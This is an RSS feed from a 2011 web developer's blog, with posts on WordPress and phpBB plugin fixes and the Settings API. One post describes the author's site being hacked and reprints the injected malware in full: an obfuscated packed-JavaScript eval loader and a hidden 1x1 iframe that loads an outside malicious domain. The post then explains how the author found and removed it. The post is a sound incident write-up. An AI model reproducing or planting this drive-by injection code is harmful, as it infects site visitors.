<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Chomper Stomping</title>
	
	<link>http://blog.chomperstomp.com</link>
	<description>jQuery/JavaScript/CSS 3/HTML 5, Java/PHP/Python/ActionScript, Git, Chrome/Firefox Extensions, Wordpress/Game/iPhone App Development and other random techie tidbits I've collected</description>
	<lastBuildDate>Wed, 04 Jan 2012 16:25:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ChomperStomping" /><feedburner:info uri="chomperstomping" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>39.939102</geo:lat><geo:long>-86.138318</geo:long><feedburner:emailServiceId>ChomperStomping</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>WP phpBB Bridge: Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/nUTm3gM0X4w/</link>
		<comments>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 04:36:47 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[bugfix]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[phpbb]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>
		<category><![CDATA[wp phpbb bridge]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=983</guid>
		<description><![CDATA[Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149 This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places. For instance, in this case the plugin authors don&#8217;t expect you to be using a socket instead of a port. Looking [...]]]></description>
			<content:encoded><![CDATA[<p>Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149</p>
<p>This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places.</p>
<p>For instance, in this case the plugin authors don&#8217;t expect you to be using a socket instead of a port. Looking at the documentation for <a href="http://php.net/manual/en/function.mysql-pconnect.php">mysql-pconnect</a> you see that you can either use combination of hostname:port or hostname:socket. Since they are pulling the setup info straight from the phpBB config file, you have little to no control over the values there (especially if already configured).</p>
<p>What they ought to do is check to see if $port isset() &#038;&#038; !empt() and only then append the &#8220;:&#8221; . $port. But instead, they tag on &#8220;:&#8221; to your db host EVERY TIME. This breaks your setup if you host is defined in phpBB with a socket. Most of what I just said sort of sounds like gibberish even to me, so, basically, if you are getting this error, the problem is actually line 147. Replace the current line 147 with this:</p>
<p><script src="https://gist.github.com/1537894.js?file=wpphpbbbridgefix"></script></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/nUTm3gM0X4w" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/</feedburner:origLink></item>
		<item>
		<title>Events Calendar Pro Nav Formatting Messed up on Empty Calendar</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/0bPD62tM9DU/</link>
		<comments>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 03:50:46 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=971</guid>
		<description><![CDATA[The Events Calendar Pro (from http://tri.be/) has a few problems. If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop): [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://tri.be/wordpress-events-calendar-pro/">Events Calendar Pro (from http://tri.be/)</a> has a few problems.</p>
<p>If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop):</p>
<p><code>	$thisisherebecausethispluginSUCKSdontremoveit = has_excerpt() ? TribeEvents::truncate($post->post_excerpt) : TribeEvents::truncate(get_the_content(), 30);</code></p>
<p>This basically just runs some &#8220;truncate&#8221; function on the &#8220;TribeEvents&#8221; object. For some reason this truncate function magically fixes the header nav display issues.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/0bPD62tM9DU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/</feedburner:origLink></item>
		<item>
		<title>OH SHNIKES, WE’VE BEEN HAXORED!!!</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/aFAqE-6T194/</link>
		<comments>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 22:03:03 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[autobiographical]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Computer Problems]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=964</guid>
		<description><![CDATA[Yes. It finally happened. After&#8230; 6 years? on the web I finally got hacked. Two domains affected: http://cmcculloh.com http://hallelujahbutton.com (this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com). This morning I went to my site and was told by Chrome that I wasn&#8217;t allowed to go in because my site was going [...]]]></description>
			<content:encoded><![CDATA[<p>Yes. It finally happened. After&#8230; 6 years? on the web I finally got hacked.</p>
<p>Two domains affected:</p>
<p>http://cmcculloh.com</p>
<p>http://hallelujahbutton.com</p>
<p>(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).</p>
<p>This morning I went to my site and was told by Chrome that I wasn&#8217;t allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that&#8217;s how it felt).</p>
<p>Here&#8217;s the screen I saw:</p>
<p><img alt="" src="http://content.screencast.com/users/cmccullo/folders/Jing/media/a34b2563-185e-4080-ad21-35ed545ef73b/2011-11-29_1641.png" title="HAXORED!!!" class="alignnone" width="519" height="698" /></p>
<p>THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised. </p>
<p>It took me quite a while to figure out what the culprit was (and I&#8217;m still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:</p>
<pre>
&lt;script type="text/javascript"&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&#038;\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))&lt;/script&gt;
&lt;iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"&gt;&lt;/iframe&gt;
</pre>
<p>(I added a line break for legibility)</p>
<p>EEEEEWWWW!!!!!! I got pwned!!!</p>
<p>Not 100% sure if it is the iframe *and* the script, or just the iframe. </p>
<p>How did I fix it?</p>
<p>ssh&#8217;ed into the site and ran this command &#8220;grep -ir function\(p,a,c,k,e,d\) *&#8221;. Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on &#8220;function(p,a,c,k,e,d)&#8221; again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.</p>
<p>So, how did this happen? Who knows. I definitely <a href="http://www.google.com/safebrowsing/diagnostic?site=AS:26347&#038;hl=en">wasn&#8217;t the only one</a>. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don&#8217;t know anything about security, and a good 20 of them probably use &#8220;password1&#8243; as their password. If any of those people got hacked, it&#8217;s just a small step once you&#8217;re on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don&#8217;t know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It&#8217;s not hard. USE A GOOD PASSWORD and DON&#8217;T REUSE IT ACROSS SITES).</p>
<p>So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON&#8217;T click the &#8220;proceed anyway&#8221; link. Because I&#8217;m just a guy and I could still be infected and not know it. Always just click the &#8220;go back&#8221; button. Once Google has OK&#8217;d it, the site will become available (as hallelujahbutton.com now has).</p>
<p>THANK YOU GOOGLE!!! YOU&#8217;RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.</p>
<p>Also, I&#8217;ve deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/aFAqE-6T194" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/</feedburner:origLink></item>
		<item>
		<title>WordPress Settings API – Adding Options to Existing Page</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/iIgZWb8SOQE/</link>
		<comments>http://blog.chomperstomp.com/wordpress-settings-api-adding-options-to-existing-page/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 05:48:32 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[options]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=956</guid>
		<description><![CDATA[Adding new options to an existing page in the dashboard in wordpress can be maddening. I&#8217;ve literally spent 15+ hours dealing with this horrible API at this point. To the point where I wrote two different wrappers for it. Here are some notes chiseled along the way for any poor soul following me down this [...]]]></description>
			<content:encoded><![CDATA[<p>Adding new options to an existing page in the dashboard in wordpress can be maddening. I&#8217;ve literally spent 15+ hours dealing with this horrible API at this point. To the point where I wrote two different wrappers for it.</p>
<p>Here are some notes chiseled along the way for any poor soul following me down this obtuse path.</p>
<p>Today I&#8217;ll focus on adding options to an existing page. Hopefully soon I&#8217;ll do one on making a new page.</p>
<p>Checklist/Overview:<br />
1. Hook into the admin init action (<a href="http://codex.wordpress.org/Function_Reference/add_action">add_action(&#8216;admin_init&#8217;)</a>)<br />
2. Create your section (<a href="http://codex.wordpress.org/Function_Reference/add_settings_section">add_settings_section</a>)<br />
3. Output hidden fields so settings will save (<a href="http://codex.wordpress.org/Function_Reference/settings_fields">settings_fields</a>)<br />
4. Create your fields (<a href="http://codex.wordpress.org/Function_Reference/add_settings_field">add_settings_field</a> and <a href="http://codex.wordpress.org/Function_Reference/register_setting">register_setting</a>)</p>
<p>Your options will be available through the usual &#8220;<a href="http://codex.wordpress.org/Function_Reference/get_option">get_option</a>&#8221; means&#8230;</p>
<p>Step 1) Hook into the admin init action:</p>
<p><script src="https://gist.github.com/1387972.js?file=gistfile1.aw"></script></p>
<p>Step 2) Create your init function (that you just hooked into the admin_init action):</p>
<p><script src="https://gist.github.com/1387974.js?file=gistfile1.aw"></script></p>
<p>Step 3) Create your own section register API</p>
<p><script src="https://gist.github.com/1387976.js?file=gistfile1.aw"></script></p>
<p>Step 4) Create your section callback functions</p>
<p>It is really annoying that the API doesn&#8217;t allow you to pass params to this callback function, which means you have to define each one individually&#8230;</p>
<p><script src="https://gist.github.com/1387980.js?file=gistfile1.aw"></script></p>
<p>Step 5) Create your own field register API</p>
<p><script src="https://gist.github.com/1387981.js?file=gistfile1.aw"></script></p>
<p>Step 6) Create your global callback function</p>
<p><script src="https://gist.github.com/1387983.js?file=gistfile1.aw"></script></p>
<p>Step 7) Register your section(s)</p>
<p>This goes in that init function  you made in step 2</p>
<p><script src="https://gist.github.com/1387988.js?file=gistfile1.aw"></script></p>
<p>Step <img src='http://blog.chomperstomp.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Register your field(s)</p>
<p>This goes in that init function  you made in step 2</p>
<p><script src="https://gist.github.com/1387990.js?file=gistfile1.aw"></script></p>
<p>Here&#8217;s an example of a completed version of all this. This one adds a crap ton of custom thumbnail size options to the media panel. It is a really bad example as it is overly complex:</p>
<p><script src="https://gist.github.com/1387968.js?file=full_example.php"></script></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/iIgZWb8SOQE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/wordpress-settings-api-adding-options-to-existing-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/wordpress-settings-api-adding-options-to-existing-page/</feedburner:origLink></item>
		<item>
		<title>Teaser of things to come…</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/bQnMOtJPHAs/</link>
		<comments>http://blog.chomperstomp.com/teaser-of-things-to-come/#comments</comments>
		<pubDate>Sat, 22 Oct 2011 17:43:45 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[autobiographical]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[continuum]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[reviews]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=937</guid>
		<description><![CDATA[Lots going on at ChomperStomp right now. I&#8217;ve been up to my eyeballs in work and in babies (3 month old and 2.5 year old). Here&#8217;s a little teaser for something big I&#8217;m working on: That&#8217;s right, custom user ratings in Continuum Coming November 1st! (will require either Continuum 1.9 or Continuum Refactor 11.1101, both [...]]]></description>
			<content:encoded><![CDATA[<p>Lots going on at ChomperStomp right now.</p>
<p>I&#8217;ve been up to my eyeballs in work and in babies (3 month old and 2.5 year old).</p>
<p>Here&#8217;s a little teaser for something big I&#8217;m working on:<br />
<img src="http://content.screencast.com/users/cmccullo/folders/Jing/media/c5cfa98b-47af-4497-ac64-89183eeb1a29/user_rating.png" alt="User Ratings!" /><br />
<img src="http://content.screencast.com/users/cmccullo/folders/Jing/media/f9123272-c3bc-47f3-9a37-04819ed1c57c/2011-10-22_2357.png" alt="User Ratings, hearts AND stars!" /><br />
